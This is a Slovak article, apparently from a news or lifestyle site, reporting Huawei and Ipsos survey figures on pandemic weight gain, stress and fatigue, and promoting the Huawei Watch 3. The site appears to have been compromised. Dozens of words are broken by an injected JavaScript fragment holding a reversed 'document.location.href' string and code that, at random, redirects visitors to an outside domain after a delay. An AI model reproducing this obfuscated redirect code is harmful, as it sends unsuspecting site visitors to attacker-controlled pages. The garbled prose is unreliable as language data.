Ako sme sa hýbali a priberali v čase pandémie?

| október 6, 2021

To, že rok pandémie významne ovplyvnil mnohé aspekty nášho života, vrátane fyzickej kondície, sme pocítili pravdepodobne všetci. Odpoveď na otázku, do akej miery mal pobyt doma za následok nadbytobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tok našej telesnej hmotnosti, zisťovala spoločnosť Huawei, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torá v spolupráci s agentúrou Ipsos o tejtobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to téme uskutobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točnila európsky prieskum.

Výsledky ukázali, že hoci nám práca v pohodlí domova po viacerých stránkach vyhovuje, negatívny dopad mala nielen na naše celkové zdravie a psychickú pohodu, ale má na svedomí aj tých “pár kíl navyše”. Zhoršená fyzická kondícia obyvateľov bola jasným ukazovateľom vo všetkých desiatich skúmaných krajinách – Poľsku, Bulharsku, Česku, Rakúsku, Grécku, Chorvátsku, Maďarsku, Rumunsku, Srbsku a Turecku. Ako tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dopadlo?

  • 38% respondentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov pribralo na hmotnosti, v priemere tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bol prírastobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tok 7 kilogramov, 31% opýtaných sa začalo prejedať
  • 46% respondentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov má v pláne schudnúť a 35% z nich si chce kúpiť zariadenie, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toré im tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to uľahčí (napríklad smart hodinky)
  • 33% ľudí verí, že smart hodinky im pomôžu pri chudnutí či získaní kondície

Problém s nadváhou

Podľa výsledkov prieskumu Ipsos mali ľudia v posledných mesiacoch problém zostať fit. Dôvodov môže byť veľa, väčšina z nich je však viazaná na častejší pobyt doma a s tým spojenú nižšiu fyzickú aktivitu. Napríklad 57% respondentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov trávilo viac času pri televízii, 30% muselo z dôvodu zavretých fitness centier prestať cvičiť a 31% sa začalo prejedať. Aj tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to môžu byť dôvody prečo v priemere 38% ľudí uviedlo, že sa ich hmotnosť zvýšila v priemere približne o 7 kg. 

Ďalšími sprievodnými javmi, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toré môžu mať veľký vplyv aj na kondíciu a hmotnosť ľudí, sú poruchy spánku a vysoká úroveň stresu. Podľa prieskumu pandemické obdobie najviac ovplyvnilo telesnú hmotnosť a kondíciu ľudí medzi 25 a 34 rokmi, pričom ešte väčší dopad mal na ženy v tejtobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to vekovej kategórii. 

Priberanie na hmotnosti však nie je iba problémom vzhľadu, ale predovšetkým zdravia. Nadváha môže byť tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž zdrojom potenciálnych zdravotných problémov a vplyv má aj na duševnú stránku či naše sebavedomie.

Zo získaných dát vyplýva, že pandémia mala zásadné dopady aj na psychické zdravie. Až 43% opýtaných uviedlo, že počas pandémie pocítili zvýšenú hladinu stresu a tretine sa zhoršilo psychické zdravie. Medzi ďalšie negatívne vplyvy môžeme zaradiť únavu – jej zvýšenie pocítilo až 51% respondentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov. 

Ako teda schudnúť? 

Štúdia tiež ukázala, čo majú respondenti v pláne urobiť pre zlepšenie svojho fyzického zdravia. Z výsledkov prieskumu vyplynulo, že 63% respondentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov z 10 krajín cítia, že potrebujú zlepšiť svoje fyzické zdravie, 46% má v pláne schudnúť a 35% z nich má v pláne si kúpiť zariadenie, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toré im tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to uľahčí (napríklad smartfón či smart hodinky). 

Tretina ľudí verí, že smart hodinky alebo fitness náramky im budú nápomocné pri dosahovaní týchtobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cieľov. S výberom z viac než 100 tréningových režimov v hodinkách Huawei Watch 3 objavíte nové obľúbené cviky a tréningy, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toré sú nielen zábavné, ale aj účinné. Chcete vyskúšať špeciálne disciplíny ako Kendo, brušný tanec alebo sepak takraw? S hodinkami Huawei tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to nie je žiadny problém, z dlhého zoznamu podporovaných športobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov a aktivít si vyberie naozaj každý. Všetky zdravotné údaje, ako napríklad srdcová frekvencia, spálené kalórie a ďalšie štatistiky o vašom tréningu môžete pritobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom jednoducho sledovať v prepojenej aplikácii Huawei Health.

So smart hodinkami od Huawei navyše získate kontrolu nad zdravotnými ukazovateľmi, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toré majú vplyv na dlhodobé zdravie – napríklad poruchy spánku či zvýšená hladina stresu. Huawei Watch 3 ponúkajú inovatívne funkcie, ako je monitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torovanie spánkového cyklu a sledovanie hladiny stresu, ktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toré vám umožní ľahko a jednoducho mať pod kontrolou všetko, čo potrebujete.

Na produkty Huawei se môžete spoľahnúť

Za posledných pár mesiacov sa podľa prieskumu tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho veľa zmenilo. Naše zdravie – či už fyzické alebo psychické – dostalo zabrať, zaslúži si teda našu zvýšenú pozornosť. Jedna vec však ostáva rovnaká – a pri monitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torovaní zdravotného stavu ju rozhodne oceníte: výdrž batérie produktobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov od Huawei. Nezáleží na tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom, či potrebujete smart hodinky, náramok alebo smartfón, na výbornú výdrž batérie Huawei sa môžete vždy spoľahnúť. 

Aktuálnu ponuku smart hodiniek a fitness náramkov Huawei nájdete tu.

Fotobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: pexels.com

Zdroj: TS

Tags:

Category: HOMEPAGE, ZDRAVIE a FIT

Comments are closed.